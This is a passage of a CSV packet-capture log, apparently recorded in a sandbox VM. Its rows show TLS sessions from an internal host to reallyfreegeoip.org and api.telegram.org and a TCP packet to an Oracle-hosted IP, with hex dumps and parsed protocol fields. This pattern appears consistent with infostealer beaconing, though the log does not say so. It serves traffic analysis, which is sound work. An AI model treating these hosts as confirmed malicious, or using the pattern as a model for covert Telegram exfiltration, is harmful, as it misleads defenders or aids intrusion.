{\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30394, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11346, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50119, \"\"dport\"\": 443, \"\"seq\"\": 4216924952, \"\"ack\"\": 2541583212, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:01.854101,142,TCP 192.168.122.168:50119 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50119,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4216924952 Ack=2541583212,525400577f945254007bb79208004500016376bb400080062b16c0a87aa8bc726000c3c701bbfb592b18977d7b6c5018040259190000160301013601000132030169d7760b0b5487315bd5c9ba0be9857b99055617a1654b1e8cee1b02bdea96f800000ec00ac009c014c0130035002f000a010000fb0000001800160000137265616c6c796672656567656f69702e6f7267000a00080006001d00170018000b00020100002300c0168334713c1d2370c2d8321cd32fed7f29083530180fb4e70816062a0f1580975b098bfd0d4aa44918648244e9032c72d81e6a5432615b24fd4ed6de2e55a8a938adea3238a35c1bcba5385e8c1591d9ef3e39ae5b07f90e6c59465bc94956f4cfcfeaa25d9c9001dac96b74cd8bae425eeda4baefab7b5722f3254595d3e8a122e99292e531c2908eed19ac46599d0473fa85bfcdad1456250e7c27b68c3f4e80bedb61c3f3041febf95d7412253518124d6656a06b0f016f7799af38dd3d5b00170000ff01000100,\"RT.W..RT.{....E..cv.@...+...z..r`......Y+..}{lP...Y.......6...2..i.v..T.1[......{..V..eK.............\n.\t.....5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[\t..\nJ.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 355, \"\"id\"\": 30395, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11030, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50119, \"\"dport\"\": 443, \"\"seq\"\": 4216924952, \"\"ack\"\": 2541583212, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22809, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 310, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=306 version=TLS 1.0 gmt_unix_time=Thu, 09 Apr 2026 09:48:59  (1775728139) random_bytes=0b5487315bd5c9ba0be9857b99055617a1654b1e8cee1b02bdea96f8 sidlen=0 sid=b'' cipherslen=14 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=251 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'reallyfreegeoip.org'] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SessionTicket  type=session_ticket len=192 ticket=b'\\\\x16\\\\x834q<\\\\x1d#p\\\\xc2\\\\xd82\\\\x1c\\\\xd3/\\\\xed\\\\x7f)\\\\x0850\\\\x18\\\\x0f\\\\xb4\\\\xe7\\\\x08\\\\x16\\\\x06*\\\\x0f\\\\x15\\\\x80\\\\x97[\\\\t\\\\x8b\\\\xfd\\\\rJ\\\\xa4I\\\\x18d\\\\x82D\\\\xe9\\\\x03,r\\\\xd8\\\\x1ejT2a[$\\\\xfdN\\\\xd6\\\\xde.U\\\\xa8\\\\xa98\\\\xad\\\\xea28\\\\xa3\\\\\\\\\\\\x1b\\\\xcb\\\\xa58^\\\\x8c\\\\x15\\\\x91\\\\xd9\\\\xef>9\\\\xae[\\\\x07\\\\xf9\\\\x0elYF[\\\\xc9IV\\\\xf4\\\\xcf\\\\xcf\\\\xea\\\\xa2]\\\\x9c\\\\x90\\\\x01\\\\xda\\\\xc9kt\\\\xcd\\\\x8b\\\\xaeB^\\\\xed\\\\xa4\\\\xba\\\\xef\\\\xab{W\\\"\"\\\\xf3%E\\\\x95\\\\xd3\\\\xe8\\\\xa1\\\"\"\\\\xe9\\\\x92\\\\x92\\\\xe51\\\\xc2\\\\x90\\\\x8e\\\\xed\\\\x19\\\\xacFY\\\\x9d\\\\x04s\\\\xfa\\\\x85\\\\xbf\\\\xcd\\\\xad\\\\x14V%\\\\x0e|\\\\'\\\\xb6\\\\x8c?N\\\\x80\\\\xbe\\\\xdba\\\\xc3\\\\xf3\\\\x04\\\\x1f\\\\xeb\\\\xf9]t\\\\x12%5\\\\x18\\\\x12MfV\\\\xa0k\\\\x0f\\\\x01ow\\\\x99\\\\xaf8\\\\xdd=[' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:23:01.854123,143,TCP 188.114.96.0:443 -> 192.168.122.168:50119,188.114.96.0,192.168.122.168,443,50119,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2541583212 Ack=4216925267,5254007bb792525400577f94080045000028fcb640004006e655bc726000c0a87aa801bbc3c7977d7b6cfb592c535010005357de0000,\"RT.{..RT.W....E..(..@.@..U.r`...z......}{l.Y,SP..SW...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 64694, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58965, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50119, \"\"seq\"\": 2541583212, \"\"ack\"\": 4216925267, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:01.973483,144,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782497524 Ack=3385611947,525400577f945254007bb792080045000028d2a34000800670afc0a87aa884e2f749c3b40050e17454f4c9cc56ab50100402b7970000,RT.W..RT.{....E..(..@...p...z....I...P.tT...V.P.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53923, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28847, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782497524, \"\"ack\"\": 3385611947, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:02.256651,145,TCP 188.114.96.0:443 -> 192.168.122.168:50119,188.114.96.0,192.168.122.168,443,50119,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2541583212 Ack=4216925267,Error,Error extracting content: b'3u/xI\\xc2h\\xe3{yQ\\xd1\\x00f\\xc5\\xa1|1\\xe8\\xfe\\xcf?\\xea@\\x0b\\xa1\\xf6\\x95\\xbb\\r\\x0384\\xd8GBO\\xa3\\xc3kM\\xf2\\x0b\\x9c\\x12W\\x9dl\\xcb\\x84\\x16^\\x15Y\\xc7\\x90\\x9b\\x15\\xc5c\\xdf\\x01+\\xf9\\xb7Z\\x8a\\xe0\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b',,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 163, \"\"id\"\": 64695, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58841, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50119, \"\"seq\"\": 2541583212, \"\"ack\"\": 4216925267, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22617, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=55 version=TLS 1.0 gmt_unix_time=Tue, 28 Apr 2026 18:23:02  (1777400582) random_bytes=23d9533319dd33a0ce3a95da224fc735ffd38faa444f574e47524400 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA comp=null extlen=15 ext=[<TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 769, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 48, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"{\\\"\"load\\\"\": \\\"\"3u/xI\\\\\\\\xc2h\\\\\\\\xe3{yQ\\\\\\\\xd1\\\\u0000f\\\\u0161|1\\\\\\\\xe8\\\\\\\\xfe\\\\\\\\xcf?\\\\\\\\xea@\\\\u000b\\\\\\\\xa1\\\\\\\\xf6\\\\\\\\x95\\\\\\\\xbb\\\\r\\\\u000384\\\\\\\\xd8GBO\\\\\\\\xa3\\\\\\\\xc3kM\\\\\\\\xf2\\\\u000b\\\\\\\\x9c\\\\u0012W\\\\\\\\x9dl\\\"\"}\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:23:02.263233,146,TCP 192.168.122.168:50119 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50119,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216925267 Ack=2541583335,525400577f945254007bb79208004500002876bc400080062c50c0a87aa8bc726000c3c701bbfb592c53977d7be75011040257de0000,\"RT.W..RT.{....E..(v.@...,P..z..r`......Y,S.}{.P...W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30396, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11344, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50119, \"\"dport\"\": 443, \"\"seq\"\": 4216925267, \"\"ack\"\": 2541583335, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:02.263412,147,TCP 188.114.96.0:443 -> 192.168.122.168:50119,188.114.96.0,192.168.122.168,443,50119,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2541583335 Ack=4216925268,5254007bb792525400577f94080045000028fcb840004006e653bc726000c0a87aa801bbc3c7977d7be7fb592c545011005357de0000,\"RT.{..RT.W....E..(..@.@..S.r`...z......}{..Y,TP..SW...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 64696, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58963, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50119, \"\"seq\"\": 2541583335, \"\"ack\"\": 4216925268, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:02.263481,148,TCP 192.168.122.168:50119 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50119,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=4216925268 Ack=2541583336,525400577f945254007bb79208004500002876bd400080062c4fc0a87aa8bc726000c3c701bbfb592c54977d7be85010040257de0000,\"RT.W..RT.{....E..(v.@...,O..z..r`......Y,T.}{.P...W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30397, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11343, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50119, \"\"dport\"\": 443, \"\"seq\"\": 4216925268, \"\"ack\"\": 2541583336, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:04.708655,149,TCP 192.168.122.168:50120 -> 149.154.166.110:443,192.168.122.168,149.154.166.110,50120,443,TCP,Internal,Private Network,,,,,,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=902238386 Ack=0,525400577f945254007bb79208004500003406dd400080067c8dc0a87aa8959aa66ec3c801bb35c710b2000000008002faf077800000020405b40103030801010402,RT.W..RT.{....E..4..@...|...z....n....5...........w...............,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1757, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 31885, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"149.154.166.110\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50120, \"\"dport\"\": 443, \"\"seq\"\": 902238386, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 30592, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:23:04.708715,150,TCP 149.154.166.110:443 -> 192.168.122.168:50120,149.154.166.110,192.168.122.168,443,50120,TCP,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=4075040321 Ack=902238387,5254007bb792525400577f94080045000034000040004006c36a959aa66ec0a87aa801bbc3c8f2e42e4135c710b38012a56477800000020405b40101040201030309,RT.{..RT.W....E..4..@.@..j...n..z........A5......dw..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 50026, \"\"src\"\": \"\"149.154.166.110\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50120, \"\"seq\"\": 4075040321, \"\"ack\"\": 902238387, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 30592, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:23:04.708829,151,TCP 192.168.122.168:50120 -> 149.154.166.110:443,192.168.122.168,149.154.166.110,50120,443,TCP,Internal,Private Network,,,,,,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=902238387 Ack=4075040322,525400577f945254007bb79208004500002806de400080067c98c0a87aa8959aa66ec3c801bb35c710b3f2e42e425010201477740000,RT.W..RT.{....E..(..@...|...z....n....5......BP. .wt..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1758, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 31896, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"149.154.166.110\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50120, \"\"dport\"\": 443, \"\"seq\"\": 902238387, \"\"ack\"\": 4075040322, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 30580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:23:04.709588,152,TCP 192.168.122.168:50120 -> 149.154.166.110:443,192.168.122.168,149.154.166.110,50120,443,TCP,Internal,Private Network,,,,,,United Kingdom,London,62041,Telegram Messenger Inc,51.5081,-0.1278,149.154.166.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=902238387 Ack=4075040322,525400577f945254007bb7920800450000da06df400080067be5c0a87aa8959aa66ec3c801bb35c710b3f2e42e42501820147826000016030300ad010000a9030369d7760e45802025e33596b91ff49369ea2ff44b12df8e196c4cfbcd4b272a3200002ac02cc02bc030c02f009f009ec024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000560000001500130000106170692e74656c656772616d2e6f7267000a00080006001d00170018000b00020100000d001a00180804080508060401050102010403050302030202060106030023000000170000ff01000100,\"RT.W..RT.{....E.....@...{...z....n....5......BP. .x&.............i.v.E. %.5.....i./.K....lL..K'*2..*.,.+.0./.....$.#.(.'.\n.\t.........=.<.5./.\n...V.........api.telegram.org.\n.................\n.............................#...........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 218, \"\"id\"\": 1759, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 31717, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"149.154.166.110\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50120, \"\"dport\"\": 443, \"\"seq\"\": 902238387, \"\"ack\"\": 4075040322, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 30758, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 173, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=169 version=TLS 1.2 gmt_unix_time=Thu, 09 Apr 2026 09:49:02  (1775728142) random_bytes=45802025e33596b91ff49369ea2ff44b12df8e196c4cfbcd4b272a32 sidlen=0 sid=b'' cipherslen=42 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_DHE_RSA_WITH_AES_256_GCM_SHA384, TLS_DHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=86 ext=[<TLS_Ext_ServerName  type=server_name len=21 servernameslen=19 servernames=[b'api.telegram.org'] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:23:04.709613,153,TCP 149.154.166.110:443 -> 192.168.122.168:50120,149.154.166.110,192.168.122.168,443,50120,TCP,United Kingdom,London,62041,Telegram Messenger 